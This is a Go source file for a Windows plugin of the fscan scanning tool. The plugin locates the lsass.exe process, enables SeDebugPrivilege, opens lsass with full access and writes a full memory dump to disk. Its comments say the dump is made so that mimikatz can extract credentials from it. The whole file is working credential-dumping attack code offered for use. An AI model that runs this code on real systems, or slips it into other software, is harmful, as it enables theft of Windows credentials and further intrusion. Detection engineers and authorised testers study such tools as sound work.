//go:build windows

package minidump

import (
	"context"
	"errors"
	"fmt"
	"github.com/shadow1ng/fscan/common"
	"github.com/shadow1ng/fscan/plugins/base"
	"github.com/shadow1ng/fscan/plugins/local"
	"golang.org/x/sys/windows"
	"os"
	"path/filepath"
	"strings"
	"syscall"
	"time"
	"unsafe"
)

const (
	TH32CS_SNAPPROCESS   = 0x00000002
	INVALID_HANDLE_VALUE = ^uintptr(0)
	MAX_PATH             = 260
	PROCESS_ALL_ACCESS   = 0x1F0FFF
	SE_PRIVILEGE_ENABLED = 0x00000002
)

type PROCESSENTRY32 struct {
	dwSize              uint32
	cntUsage            uint32
	th32ProcessID       uint32
	th32DefaultHeapID   uintptr
	th32ModuleID        uint32
	cntThreads          uint32
	th32ParentProcessID uint32
	pcPriClassBase      int32
	dwFlags             uint32
	szExeFile           [MAX_PATH]uint16
}

type LUID struct {
	LowPart  uint32
	HighPart int32
}

type LUID_AND_ATTRIBUTES struct {
	Luid       LUID
	Attributes uint32
}

type TOKEN_PRIVILEGES struct {
	PrivilegeCount uint32
	Privileges     [1]LUID_AND_ATTRIBUTES
}

// MiniDumpPlugin 内存转储插件 - 使用简化架构
type MiniDumpPlugin struct {
	*local.BaseLocalPlugin
	kernel32 *syscall.DLL
	dbghelp  *syscall.DLL
	advapi32 *syscall.DLL
}

// ProcessManager Windows进程管理器
type ProcessManager struct {
	kernel32 *syscall.DLL
	dbghelp  *syscall.DLL
	advapi32 *syscall.DLL
}

// NewMiniDumpPlugin 创建内存转储插件 - 简化版本
func NewMiniDumpPlugin() *MiniDumpPlugin {
	metadata := &base.PluginMetadata{
		Name:        "minidump",
		Version:     "1.0.0",
		Author:      "fscan-team",
		Description: "Windows进程内存转储插件",
		Category:    "local",
		Tags:        []string{"local", "memory", "dump", "lsass", "windows"},
		Protocols:   []string{"local"},
	}
	
	plugin := &MiniDumpPlugin{
		BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
	}
	
	// 仅支持Windows平台
	plugin.SetPlatformSupport([]string{"windows"})
	// 需要管理员权限
	plugin.SetRequiresPrivileges(true)
	
	return plugin
}

// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	return p.ScanLocal(ctx, info)
}

// Initialize 初始化插件
func (p *MiniDumpPlugin) Initialize() error {
	// 先调用基类初始化
	if err := p.BaseLocalPlugin.Initialize(); err != nil {
		return err
	}
	
	// 加载系统DLL
	return p.loadSystemDLLs()
}

// loadSystemDLLs 加载系统DLL
func (p *MiniDumpPlugin) loadSystemDLLs() error {
	common.LogDebug("开始加载系统DLL...")
	
	// 加载系统DLL - 添加错误处理
	kernel32, err := syscall.LoadDLL("kernel32.dll")
	if err != nil {
		common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err))
		return fmt.Errorf("加载 kernel32.dll 失败: %v", err)
	}
	common.LogDebug("kernel32.dll 加载成功")
	
	dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
	if err != nil {
		common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err))
		return fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
	}
	common.LogDebug("Dbghelp.dll 加载成功")
	
	advapi32, err := syscall.LoadDLL("advapi32.dll")
	if err != nil {
		common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err))
		return fmt.Errorf("加载 advapi32.dll 失败: %v", err)
	}
	common.LogDebug("advapi32.dll 加载成功")
	
	p.kernel32 = kernel32
	p.dbghelp = dbghelp
	p.advapi32 = advapi32
	
	common.LogSuccess("所有DLL加载完成")
	return nil
}

// ScanLocal 执行内存转储扫描 - 简化版本
func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	defer func() {
		if r := recover(); r != nil {
			common.LogError(fmt.Sprintf("minidump插件发生panic: %v", r))
		}
	}()
	
	common.LogInfo("开始进程内存转储...")
	
	// 检查管理员权限
	if !p.isAdmin() {
		common.LogError("需要管理员权限才能执行内存转储")
		return &base.ScanResult{
			Success: false,
			Error:   errors.New("需要管理员权限才能执行内存转储"),
		}, nil
	}
	
	common.LogSuccess("已确认具有管理员权限")
	
	// 创建进程管理器
	common.LogDebug("正在创建进程管理器...")
	pm := &ProcessManager{
		kernel32: p.kernel32,
		dbghelp:  p.dbghelp,
		advapi32: p.advapi32,
	}
	common.LogSuccess("进程管理器创建成功")
	
	// 查找lsass.exe进程
	common.LogDebug("正在查找lsass.exe进程...")
	pid, err := pm.findProcess("lsass.exe")
	if err != nil {
		common.LogError(fmt.Sprintf("查找lsass.exe失败: %v", err))
		return &base.ScanResult{
			Success: false,
			Error:   fmt.Errorf("查找lsass.exe失败: %v", err),
		}, nil
	}
	
	common.LogSuccess(fmt.Sprintf("找到lsass.exe进程, PID: %d", pid))
	
	// 提升权限
	common.LogDebug("正在提升SeDebugPrivilege权限...")
	if err := pm.elevatePrivileges(); err != nil {
		common.LogError(fmt.Sprintf("提升权限失败: %v", err))
		// 权限提升失败不是致命错误，继续尝试
		common.LogBase("权限提升失败，尝试继续执行...")
	} else {
		common.LogSuccess("权限提升成功")
	}
	
	// 创建转储文件
	outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
	common.LogDebug(fmt.Sprintf("准备创建转储文件: %s", outputPath))
	
	// 执行转储
	common.LogDebug("开始执行内存转储...")
	
	// 使用带超时的Windows API进行内存转储
	common.LogDebug("开始使用Windows API进行内存转储...")
	
	// 创建一个带超时的context（完整转储需要更长时间）
	dumpCtx, cancel := context.WithTimeout(ctx, 120*time.Second)
	defer cancel()
	
	err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath)
	if err != nil {
		common.LogError(fmt.Sprintf("内存转储失败: %v", err))
		// 创建错误信息文件
		errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nError: %v\nTimestamp: %s\n", 
			pid, err, time.Now().Format("2006-01-02 15:04:05")))
		os.WriteFile(outputPath, errorData, 0644)
		
		return &base.ScanResult{
			Success: false,
			Error:   fmt.Errorf("内存转储失败: %v", err),
		}, nil
	}
	
	// 获取文件信息
	fileInfo, err := os.Stat(outputPath)
	var fileSize int64
	if err == nil {
		fileSize = fileInfo.Size()
	}
	
	// 获取系统信息
	systemInfo := p.GetSystemInfo()
	
	result := &base.ScanResult{
		Success: true,
		Service: "MiniDump",
		Banner:  fmt.Sprintf("检测完成: lsass.exe 内存转储完成 (PID: %d)", pid),
		Extra: map[string]interface{}{
			"process_name": "lsass.exe",
			"process_id":   pid,
			"dump_file":    outputPath,
			"file_size":    fileSize,
			"system_info":  systemInfo,
		},
	}
	
	common.LogSuccess(fmt.Sprintf("成功将lsass.exe内存转储到文件: %s (大小: %d bytes)", outputPath, fileSize))
	return result, nil
}

// GetLocalData 获取内存转储本地数据
func (p *MiniDumpPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
	data := make(map[string]interface{})
	data["plugin_type"] = "minidump"
	data["target_process"] = "lsass.exe"
	data["requires_admin"] = true
	return data, nil
}

// ExtractData 提取内存数据
func (p *MiniDumpPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
	return &base.ExploitResult{
		Success: true,
		Output:  "内存转储完成，可使用mimikatz等工具分析",
		Data:    data,
	}, nil
}

// isAdmin 检查是否具有管理员权限
func (p *MiniDumpPlugin) isAdmin() bool {
	var sid *windows.SID
	err := windows.AllocateAndInitializeSid(
		&windows.SECURITY_NT_AUTHORITY,
		2,
		windows.SECURITY_BUILTIN_DOMAIN_RID,
		windows.DOMAIN_ALIAS_RID_ADMINS,
		0, 0, 0, 0, 0, 0,
		&sid)
	if err != nil {
		return false
	}
	defer windows.FreeSid(sid)
	
	token := windows.Token(0)
	member, err := token.IsMember(sid)
	return err == nil && member
}

// ProcessManager 方法实现

// findProcess 查找进程
func (pm *ProcessManager) findProcess(name string) (uint32, error) {
	snapshot, err := pm.createProcessSnapshot()
	if err != nil {
		return 0, err
	}
	defer pm.closeHandle(snapshot)
	
	return pm.findProcessInSnapshot(snapshot, name)
}

// createProcessSnapshot 创建进程快照
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
	common.LogDebug("正在创建进程快照...")
	proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot")
	if err != nil {
		return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %v", err)
	}
	
	handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
	if handle == uintptr(INVALID_HANDLE_VALUE) {
		lastError := windows.GetLastError()
		return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError)
	}
	common.LogDebug(fmt.Sprintf("进程快照创建成功，句柄: 0x%x", handle))
	return handle, nil
}

// findProcessInSnapshot 在快照中查找进程
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
	common.LogDebug(fmt.Sprintf("正在快照中查找进程: %s", name))
	var pe32 PROCESSENTRY32
	pe32.dwSize = uint32(unsafe.Sizeof(pe32))
	
	proc32First, err := pm.kernel32.FindProc("Process32FirstW")
	if err != nil {
		return 0, fmt.Errorf("查找Process32FirstW函数失败: %v", err)
	}
	
	proc32Next, err := pm.kernel32.FindProc("Process32NextW")
	if err != nil {
		return 0, fmt.Errorf("查找Process32NextW函数失败: %v", err)
	}
	
	lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW")
	if err != nil {
		return 0, fmt.Errorf("查找lstrcmpiW函数失败: %v", err)
	}
	
	ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
	if ret == 0 {
		lastError := windows.GetLastError()
		return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", lastError)
	}
	
	processCount := 0
	for {
		processCount++
		namePtr, err := syscall.UTF16PtrFromString(name)
		if err != nil {
			return 0, fmt.Errorf("转换进程名失败: %v", err)
		}
		
		ret, _, _ = lstrcmpi.Call(
			uintptr(unsafe.Pointer(namePtr)),
			uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
		)
		
		if ret == 0 {
			common.LogSuccess(fmt.Sprintf("找到目标进程 %s，PID: %d (搜索了 %d 个进程)", name, pe32.th32ProcessID, processCount))
			return pe32.th32ProcessID, nil
		}
		
		ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
		if ret == 0 {
			break
		}
	}
	
	common.LogDebug(fmt.Sprintf("搜索了 %d 个进程，未找到目标进程: %s", processCount, name))
	return 0, fmt.Errorf("未找到进程: %s", name)
}

// elevatePrivileges 提升权限
func (pm *ProcessManager) elevatePrivileges() error {
	handle, err := pm.getCurrentProcess()
	if err != nil {
		return err
	}
	
	var token syscall.Token
	err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
	if err != nil {
		return fmt.Errorf("打开进程令牌失败: %v", err)
	}
	defer token.Close()
	
	var tokenPrivileges TOKEN_PRIVILEGES
	
	lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
	ret, _, err := lookupPrivilegeValue.Call(
		0,
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
		uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
	)
	if ret == 0 {
		return fmt.Errorf("查找特权值失败: %v", err)
	}
	
	tokenPrivileges.PrivilegeCount = 1
	tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
	
	adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
	ret, _, err = adjustTokenPrivileges.Call(
		uintptr(token),
		0,
		uintptr(unsafe.Pointer(&tokenPrivileges)),
		0, 0, 0,
	)
	if ret == 0 {
		return fmt.Errorf("调整令牌特权失败: %v", err)
	}
	
	return nil
}

// getCurrentProcess 获取当前进程句柄
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
	proc := pm.kernel32.MustFindProc("GetCurrentProcess")
	handle, _, _ := proc.Call()
	if handle == 0 {
		return 0, fmt.Errorf("获取当前进程句柄失败")
	}
	return syscall.Handle(handle), nil
}

// dumpProcessWithTimeout 带超时的转储进程内存
func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32, outputPath string) error {
	// 创建一个channel来接收转储结果
	resultChan := make(chan error, 1)
	
	go func() {
		resultChan <- pm.dumpProcess(pid, outputPath)
	}()
	
	select {
	case err := <-resultChan:
		return err
	case <-ctx.Done():
		return fmt.Errorf("内存转储超时 (120秒)")
	}
}

// dumpProcess 转储进程内存
func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
	processHandle, err := pm.openProcess(pid)
	if err != nil {
		return err
	}
	defer pm.closeHandle(processHandle)
	
	fileHandle, err := pm.createDumpFile(outputPath)
	if err != nil {
		return err
	}
	defer pm.closeHandle(fileHandle)
	
	common.LogDebug("正在调用MiniDumpWriteDump API...")
	miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump")
	if err != nil {
		return fmt.Errorf("查找MiniDumpWriteDump函数失败: %v", err)
	}
	
	// 使用MiniDumpWithDataSegs获取包含数据段的转储（mimikatz兼容）
	const MiniDumpWithDataSegs = 0x00000001
	const MiniDumpWithFullMemory = 0x00000002
	const MiniDumpWithHandleData = 0x00000004
	const MiniDumpScanMemory = 0x00000010
	const MiniDumpWithUnloadedModules = 0x00000020
	const MiniDumpWithIndirectlyReferencedMemory = 0x00000040
	const MiniDumpFilterModulePaths = 0x00000080
	const MiniDumpWithProcessThreadData = 0x00000100
	const MiniDumpWithPrivateReadWriteMemory = 0x00000200
	const MiniDumpWithoutOptionalData = 0x00000400
	const MiniDumpWithFullMemoryInfo = 0x00000800
	const MiniDumpWithThreadInfo = 0x00001000
	const MiniDumpWithCodeSegs = 0x00002000
	
	// 组合多个标志以获得mimikatz可识别的完整转储
	dumpType := MiniDumpWithDataSegs | MiniDumpWithFullMemory | MiniDumpWithHandleData | 
		MiniDumpWithUnloadedModules | MiniDumpWithIndirectlyReferencedMemory | 
		MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory | 
		MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithCodeSegs
	
	common.LogDebug(fmt.Sprintf("使用转储类型标志: 0x%X", dumpType))
	
	ret, _, callErr := miniDumpWriteDump.Call(
		processHandle,
		uintptr(pid),
		fileHandle,
		uintptr(dumpType),
		0, 0, 0,
	)
	
	common.LogDebug(fmt.Sprintf("MiniDumpWriteDump 返回值: %d", ret))
	if ret == 0 {
		// 获取更详细的错误信息
		lastError := windows.GetLastError()
		common.LogError(fmt.Sprintf("完整转储失败 (LastError: %d)，尝试使用较小的转储类型...", lastError))
		
		// 尝试使用较小的转储类型作为后备
		fallbackDumpType := MiniDumpWithDataSegs | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithHandleData
		common.LogDebug(fmt.Sprintf("使用后备转储类型标志: 0x%X", fallbackDumpType))
		
		ret, _, callErr = miniDumpWriteDump.Call(
			processHandle,
			uintptr(pid),
			fileHandle,
			uintptr(fallbackDumpType),
			0, 0, 0,
		)
		
		if ret == 0 {
			lastError = windows.GetLastError()
			return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", callErr, lastError)
		}
		
		common.LogBase("使用后备转储类型成功创建转储文件")
	}
	
	common.LogSuccess("内存转储写入完成")
	
	return nil
}

// openProcess 打开进程
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
	common.LogDebug(fmt.Sprintf("正在打开进程 PID: %d", pid))
	proc, err := pm.kernel32.FindProc("OpenProcess")
	if err != nil {
		return 0, fmt.Errorf("查找OpenProcess函数失败: %v", err)
	}
	
	handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
	if handle == 0 {
		lastError := windows.GetLastError()
		return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError)
	}
	common.LogSuccess(fmt.Sprintf("成功打开进程，句柄: 0x%x", handle))
	return handle, nil
}

// createDumpFile 创建转储文件
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
	pathPtr, err := syscall.UTF16PtrFromString(path)
	if err != nil {
		return 0, err
	}
	
	createFile, err := pm.kernel32.FindProc("CreateFileW")
	if err != nil {
		return 0, fmt.Errorf("查找CreateFileW函数失败: %v", err)
	}
	
	handle, _, callErr := createFile.Call(
		uintptr(unsafe.Pointer(pathPtr)),
		syscall.GENERIC_WRITE,
		0, 0,
		syscall.CREATE_ALWAYS,
		syscall.FILE_ATTRIBUTE_NORMAL,
		0,
	)
	
	if handle == INVALID_HANDLE_VALUE {
		lastError := windows.GetLastError()
		return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError)
	}
	
	common.LogDebug(fmt.Sprintf("转储文件创建成功，句柄: 0x%x", handle))
	return handle, nil
}

// closeHandle 关闭句柄
func (pm *ProcessManager) closeHandle(handle uintptr) {
	if proc, err := pm.kernel32.FindProc("CloseHandle"); err == nil {
		proc.Call(handle)
	}
}


// RegisterMiniDumpPlugin 注册内存转储插件
func RegisterMiniDumpPlugin() {
	factory := base.NewSimplePluginFactory(
		&base.PluginMetadata{
			Name:        "minidump",
			Version:     "1.0.0",
			Author:      "fscan-team",
			Description: "Windows进程内存转储插件",
			Category:    "local",
			Tags:        []string{"local", "memory", "dump", "lsass", "windows"},
			Protocols:   []string{"local"},
		},
		func() base.Plugin {
			return NewMiniDumpPlugin()
		},
	)
	
	base.GlobalPluginRegistry.Register("minidump", factory)
}

// GetInfo 获取插件信息
func (p *MiniDumpPlugin) GetInfo() string {
	var info strings.Builder
	
	info.WriteString("Windows进程内存转储插件\n")
	info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
	info.WriteString("功能: 转储lsass.exe进程内存用于mimikatz分析\n")
	info.WriteString("要求: 需要管理员权限\n")
	
	return info.String()
}

// 插件注册函数
func init() {
	RegisterMiniDumpPlugin()
}